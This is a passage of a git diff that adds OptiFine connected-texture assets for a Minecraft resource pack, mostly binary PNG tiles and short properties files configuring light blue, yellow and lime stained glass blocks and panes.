b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/44.png new file mode 100644 index 00000000..356f2d3c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/45.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/45.png new file mode 100644 index 00000000..504a183b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/46.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/46.png new file mode 100644 index 00000000..c4820414 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/5.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/5.png new file mode 100644 index 00000000..02266507 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/6.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/6.png new file mode 100644 index 00000000..eb6ba826 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/7.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/7.png new file mode 100644 index 00000000..031c50d4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/8.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/8.png new file mode 100644 index 00000000..abbf3350 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/9.png b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/9.png new file mode 100644 index 00000000..aa728258 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/glass_light_blue.properties b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/glass_light_blue.properties new file mode 100644 index 00000000..4373caeb --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/glass_light_blue.properties @@ -0,0 +1,5 @@ +# Stained glass light_blue +matchBlocks=light_blue_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/glass_pane_light_blue.properties b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/glass_pane_light_blue.properties new file mode 100644 index 00000000..56b9ef66 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/03_glass_light_blue/glass_pane_light_blue.properties @@ -0,0 +1,6 @@ +# Stained glass pane light_blue +matchBlocks=light_blue_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/0.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/0.png new file mode 100644 index 00000000..78d7c8d2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/1.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/1.png new file mode 100644 index 00000000..207ab9ea Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/10.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/10.png new file mode 100644 index 00000000..8b7d9ac8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/11.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/11.png new file mode 100644 index 00000000..fae2d412 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/12.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/12.png new file mode 100644 index 00000000..966946f1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/13.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/13.png new file mode 100644 index 00000000..88ef0e36 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/14.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/14.png new file mode 100644 index 00000000..0c6a90fb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/15.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/15.png new file mode 100644 index 00000000..fa08fbe3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/16.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/16.png new file mode 100644 index 00000000..4d603703 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/17.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/17.png new file mode 100644 index 00000000..5a906a57 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/18.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/18.png new file mode 100644 index 00000000..ed8868e7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/19.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/19.png new file mode 100644 index 00000000..8db59953 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/2.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/2.png new file mode 100644 index 00000000..31d553e5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/20.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/20.png new file mode 100644 index 00000000..f8a68b5c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/21.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/21.png new file mode 100644 index 00000000..0a2b6e17 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/22.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/22.png new file mode 100644 index 00000000..4b5baec2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/23.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/23.png new file mode 100644 index 00000000..a91c5f7c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/24.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/24.png new file mode 100644 index 00000000..047b3cc5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/25.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/25.png new file mode 100644 index 00000000..00096409 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/26.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/26.png new file mode 100644 index 00000000..20529b3a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/27.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/27.png new file mode 100644 index 00000000..e129c224 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/28.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/28.png new file mode 100644 index 00000000..5109de48 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/29.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/29.png new file mode 100644 index 00000000..c1de851b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/3.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/3.png new file mode 100644 index 00000000..36f0aa68 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/30.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/30.png new file mode 100644 index 00000000..7268533a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/31.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/31.png new file mode 100644 index 00000000..960d7cf5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/32.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/32.png new file mode 100644 index 00000000..cdc4a315 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/33.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/33.png new file mode 100644 index 00000000..19bdb862 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/34.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/34.png new file mode 100644 index 00000000..518a1f96 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/35.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/35.png new file mode 100644 index 00000000..9dd3d3c9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/36.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/36.png new file mode 100644 index 00000000..66d847c2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/37.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/37.png new file mode 100644 index 00000000..7c11834b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/38.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/38.png new file mode 100644 index 00000000..17f2314f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/39.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/39.png new file mode 100644 index 00000000..221f0ec8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/4.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/4.png new file mode 100644 index 00000000..2528dd52 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/40.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/40.png new file mode 100644 index 00000000..3de325ab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/41.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/41.png new file mode 100644 index 00000000..f46f1f78 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/42.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/42.png new file mode 100644 index 00000000..850338ae Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/43.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/43.png new file mode 100644 index 00000000..d0cc69a6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/44.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/44.png new file mode 100644 index 00000000..67128d70 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/45.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/45.png new file mode 100644 index 00000000..b1cfec41 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/46.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/46.png new file mode 100644 index 00000000..31001dc0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/5.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/5.png new file mode 100644 index 00000000..f4f8f76d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/6.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/6.png new file mode 100644 index 00000000..91893ee0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/7.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/7.png new file mode 100644 index 00000000..e247d1ae Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/8.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/8.png new file mode 100644 index 00000000..bddb2bdb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/9.png b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/9.png new file mode 100644 index 00000000..7a7bdf27 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/glass_pane_yellow.properties b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/glass_pane_yellow.properties new file mode 100644 index 00000000..cdc5497d --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/glass_pane_yellow.properties @@ -0,0 +1,6 @@ +# Stained glass pane yellow +matchBlocks=yellow_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/glass_yellow.properties b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/glass_yellow.properties new file mode 100644 index 00000000..5a18757f --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/04_glass_yellow/glass_yellow.properties @@ -0,0 +1,5 @@ +# Stained glass yellow +matchBlocks=yellow_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/0.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/0.png new file mode 100644 index 00000000..49a2d617 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/1.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/1.png new file mode 100644 index 00000000..6d6c3e05 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/10.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/10.png new file mode 100644 index 00000000..f54f3fbe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/11.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/11.png new file mode 100644 index 00000000..713563b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/12.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/12.png new file mode 100644 index 00000000..54747468 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/13.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/13.png new file mode 100644 index 00000000..dd9698b7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/14.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/14.png new file mode 100644 index 00000000..cd33898e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/15.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/15.png new file mode 100644 index 00000000..646208ea Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/16.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/16.png new file mode 100644 index 00000000..2cc39a53 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/17.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/17.png new file mode 100644 index 00000000..f051252f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/18.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/18.png new file mode 100644 index 00000000..a8c60cb1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/19.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/19.png new file mode 100644 index 00000000..2c5d4b9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/2.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/2.png new file mode 100644 index 00000000..e1347575 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/20.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/20.png new file mode 100644 index 00000000..2c6c3790 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/21.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/21.png new file mode 100644 index 00000000..cbd67c6a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/22.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/22.png new file mode 100644 index 00000000..3dd680f6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/23.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/23.png new file mode 100644 index 00000000..14cc9f1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/24.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/24.png new file mode 100644 index 00000000..84627115 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/25.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/25.png new file mode 100644 index 00000000..7f080fa6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/26.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/26.png new file mode 100644 index 00000000..7768e97f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/27.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/27.png new file mode 100644 index 00000000..a57f1f18 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/28.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/28.png new file mode 100644 index 00000000..c5b4db6a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/29.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/29.png new file mode 100644 index 00000000..3df30f08 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/3.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/3.png new file mode 100644 index 00000000..e818259a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/30.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/30.png new file mode 100644 index 00000000..a6443cbd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/31.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/31.png new file mode 100644 index 00000000..39837dd1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/32.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/32.png new file mode 100644 index 00000000..fb07ade6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/33.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/33.png new file mode 100644 index 00000000..eb0b5893 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/34.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/34.png new file mode 100644 index 00000000..69c61c13 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/35.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/35.png new file mode 100644 index 00000000..07491472 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/36.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/36.png new file mode 100644 index 00000000..4b2b6d3b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/37.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/37.png new file mode 100644 index 00000000..2ba8e06b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/38.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/38.png new file mode 100644 index 00000000..c6d171b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/39.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/39.png new file mode 100644 index 00000000..ff52f52e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/4.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/4.png new file mode 100644 index 00000000..339eb687 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/40.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/40.png new file mode 100644 index 00000000..a94cad87 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/41.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/41.png new file mode 100644 index 00000000..f72ba94a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/42.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/42.png new file mode 100644 index 00000000..1ca43916 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/43.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/43.png new file mode 100644 index 00000000..98fda512 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/44.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/44.png new file mode 100644 index 00000000..55fc97ed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/45.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/45.png new file mode 100644 index 00000000..1ca06220 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/46.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/46.png new file mode 100644 index 00000000..92bc9cf9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/5.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/5.png new file mode 100644 index 00000000..def48911 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/6.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/6.png new file mode 100644 index 00000000..bd73939a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/7.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/7.png new file mode 100644 index 00000000..9ab2c98f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/8.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/8.png new file mode 100644 index 00000000..8907bed9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/9.png b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/9.png new file mode 100644 index 00000000..cdd8d3d3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/glass_lime.properties b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/glass_lime.properties new file mode 100644 index 00000000..032ea3bf --- 